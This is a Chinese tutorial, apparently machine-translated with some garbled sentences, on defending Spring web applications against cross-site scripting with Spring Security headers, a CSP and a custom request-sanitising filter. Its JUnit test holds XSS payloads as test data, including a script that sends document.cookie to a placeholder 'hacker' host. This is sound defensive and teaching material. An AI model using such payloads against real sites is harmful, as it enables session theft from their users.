1.概述
在构建Spring Web应用程序时,重点是安全性上很重要。跨站点脚本(XSS)是对Web安全性最关键的攻击之一。
在 Spring 应用程序中,防止 XSS 攻击是火星挑战。 Spring 提供了一些帮助,但我们需要实现额外的代码以提供完整的保护。
在本教程中,我们将使用可用的 Spring Security 功能,并添加自己的 XSS 过滤器。
2.什么是跨站点脚本(XSS)攻击?
2.1. 问题的定义
XSS 是常见的注入攻击类型。在 XSS 中,攻击者尝试在 Web 应用程序中执行恶意代码。他们通过 Web 浏览器或类似邮递员之类的 HTTP 客户端工具点击交互。
XSS 攻击有两种类型:
反射或非持久XSS
存储或持久XSS
在反射或非持久性 XSS 中,不可靠的用户数据被提交到 Web 应用程序中,该 Web 应用程序将立即在响应中返回,从而将不可信的内容添加到页面中。执行它。这可能无法向您发送链接,该链接在被追踪时会导致您的浏览器从使用的站点检索您的私人数据,然后使您的浏览器将其查询到黑客的服务器。
在“存储的或持久的 XSS”中,攻击者的输入由 Web 存储存储。以后任何访问者都可以执行该恶意代码。
2.2。防御攻击
防止XSS攻击的主要策略是清除用户输入。
在 Spring Web 应用程序中,用户的输入是 HTTP 请求。为了防止攻击,我们应该检查 HTTP 请求的内容,并删除服务器或浏览器中可能会执行的所有内容。
为了通过Web浏览器访问常用的Web应用程序,我们可以使用Spring Security的必须内置功能(Reflected XSS)。公开对于API的Web应用程序,Spring Security不提供任何功能,我们以防止实现自定义XSS过滤器存储XSS。
3.使用Spring Security使应用程序XSS安全
Spring Security 默认提供几个安全头。它包括X-XSS-Protection
标头。X-XSS-Protection
告诉器选择选择像 XSS 的东西。Spring Security 可以自动浏览安全标头添加到响应中。为了激活它,我们在 Spring Security 配置类中配置XSS支持。
使用此功能,浏览器在检测到 XSS 尝试时不会出现。但是,某些 Web 浏览器尚未使用实现 XSS 审核器。在这种情况下,它们不使用X-XSS-Protection
标头来.
解决此问题,我们还可以内容安全策略(CSP)功能。
CSP是安全性的附加层,有助于缓解XSS和数据注入攻击。要启用它,我们需要通过提供WebSecurityConfigurerAdapter
豆Content-Security-Policy
@Configuration public class SecurityConf extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http .headers() .xssProtection() .and() .contentSecurityPolicy("script-src 'self'"); } }
这些标头确实可以保护 REST API原汁原味的 XSS 的可能。为了解决这个问题,我们还需要实现一个 XSS 过滤器。
4.创建一个XSS过滤器
4.1。使用XSS过滤器
为防止 XSS 攻击,我们将在将请求传递RestController
之前从请求内容中删除给所有的搜索字符串:
HTTP请求内容包括以下部分:
请求头
参数Parameters
请求体
平常,对于每个请求,我们都应从标头,参数和主体中删除恶意代码。
我们将创建过滤器一个用于评估请求值的工具。
让我们通过实现Filter
接口来创建XSS器:
@Component @Order(Ordered.HIGHEST_PRECEDENCE) public class XSSFilter implements Filter { @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { XSSRequestWrapper wrappedRequest = new XSSRequestWrapper((HttpServletRequest) request); chain.doFilter(wrappedRequest, response); } // other methods }
我们应该将 XSS 过滤器配置为 Spring 应用程序中的第一个过滤器。因此,我们将过滤器的顺序设置为HIGHEST_PRECEDENCE
。
为了向请求添加数据清理,我们将创建一个名为XSSRequestWrapper,
HttpServletRequestWrapper
子类,该子类将覆盖getParameterValues
、getParameter
和getHeaders
方法,以在向控制器提供数据之前执行 XSS 检查。
4.2。从请求参数中删除XSS
现在,让我们在请求包装器中getParameterValues
和getParameter
public class XSSRequestWrapper extends HttpServletRequestWrapper { @Override public String[] getParameterValues(String parameter) { String[] values = super.getParameterValues(parameter); if (values == null) { return null; } int count = values.length; String[] encodedValues = new String[count]; for (int i = 0; i < count; i++) { encodedValues[i] = stripXSS(values[i]); } return encodedValues; } @Override public String getParameter(String parameter) { String value = super.getParameter(parameter); return stripXSS(value); } }
我们将写一个stripXSS
函数来处理值。我们将尽快实施。
4.3。从请求标头中剥XSS
我们还需要从请求标头中剥离XSS。当getHeaders返回一个Enumeration我们将需要生成一个新列表,以清理每个标头:
@Override public Enumeration getHeaders(String name) { List result = new ArrayList<>(); Enumeration headers = super.getHeaders(name); while (headers.hasMoreElements()) { String header = headers.nextElement(); String[] tokens = header.split(","); for (String token : tokens) { result.add(stripXSS(token)); } } return Collections.enumeration(result); }
4.4。从请求主体中剥离XSS
我们的过滤器需要从请求正文中删除危险内容。由于我们已经具有可wrappedRequest InputStream的wrappedRequest,因此让我们扩展代码以处理主体,并在清除它后InputStream
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { XSSRequestWrapper wrappedRequest = new XSSRequestWrapper((HttpServletRequest) request); String body = IOUtils.toString(wrappedRequest.getReader()); if (!StringUtils.isBlank(body)) { body = XSSUtils.stripXSS(body); wrappedRequest.resetInputStream(body.getBytes()); } chain.doFilter(wrappedRequest, response); }
5.使用外部库进行数据清理
现在,所有读取请求的代码stripXSS在用户提供的任何内容上执行stripXSS函数。现在让我们创建执行XSS检查的功能。
首先,此方法将获取请求的值并将其规范化。对于这一步,我们使用ESAPI 。 ESAPI是可从OWASP获得的开源Web应用程序安全控制库。
其次,我们将根据XSS模式检查请求的值。如果该值可疑,它将被设置为一个空字符串。为此,我们将使用Jsoup,它提供了一些简单的清理功能。如果我们想要更多的控制,我们可以构建自己的正则表达式,但这可能比使用库更容易出错。
5.1 依赖关系
首先,我们将esapi maven依赖项添加到我们的pom.xml文件中:
<dependency> <groupId>org.owasp.esapi</groupId> <artifactId>esapi</artifactId> <version>2.2.2.0</version> </dependency>
另外,我們需要jsoup
:
<dependency> <groupId>org.jsoup</groupId> <artifactId>jsoup</artifactId> <version>1.13.1</version> </dependency>
5.2 代码实现
现在,让我们创建stripXSS方法:
public static String stripXSS(String value) { if (value == null) { return null; } value = ESAPI.encoder() .canonicalize(value) .replaceAll("\0", ""); return Jsoup.clean(value, Whitelist.none()); }
在这里,我们将Jsoup Whitelist设置为none ,仅允许文本节点。这样,所有HTML都将被剥离。
6.测试XSS预防
6.1。手动测试
现在,让我们使用Postman向我们的应用程序发送可疑请求。我们将向URI /personService/person发送POST消息。另外,我们将包含一些可疑的标头和参数。
下图显示了请求标头和参数:
当我们的服务接受JSON数据时,让我们向请求正文中添加一些可疑的JSON内容:
当我们的测试服务器返回清除的响应时,让我们检查发生了什么:
标头和参数值将替换为空字符串。此外,响应主体显示我们在lastName字段中的可疑值已被删除。
6.2。自动化测试
现在让我们为XSS过滤编写一个自动化测试:
// declare required variables personJsonObject.put("id", 1); personJsonObject.put("firstName", "baeldung <script>alert('XSS')</script>"); personJsonObject.put("lastName", "baeldung <b onmouseover=alert('XSS')>click me!</b>"); builder = UriComponentsBuilder.fromHttpUrl(createPersonUrl) .queryParam("param", "<script>"); headers.add("header_1", "<body onload=alert('XSS')>"); headers.add("header_2", "<span onmousemove='doBadXss()'>"); headers.add("header_3", "<SCRIPT>var+img=new+Image();" + "img.src=\"http://hacker/\"%20+%20document.cookie;</SCRIPT>"); headers.add("header_4", "<p>Your search for 'flowers <script>evil_script()</script>'"); HttpEntity<String> request = new HttpEntity<>(personJsonObject.toString(), headers); ResponseEntity<String> personResultAsJsonStr = restTemplate .exchange(builder.toUriString(), HttpMethod.POST, request, String.class); JsonNode root = objectMapper.readTree(personResultAsJsonStr.getBody()); assertThat(root.get("firstName").textValue()).isEqualTo("baeldung "); assertThat(root.get("lastName").textValue()).isEqualTo("baeldung click me!"); assertThat(root.get("param").textValue()).isEmpty(); assertThat(root.get("header_1").textValue()).isEmpty(); assertThat(root.get("header_2").textValue()).isEmpty(); assertThat(root.get("header_3").textValue()).isEmpty(); assertThat(root.get("header_4").textValue()).isEqualTo("Your search for 'flowers '");
7.结论
在本文中,我们了解了如何通过同时使用Spring Security功能和自定义XSS过滤器来防止XSS攻击。
我们看到了它如何保护我们免受反射性XSS攻击和持续性XSS攻击。我们还研究了如何使用Postman和JUnit测试来测试应用程序。
0 评论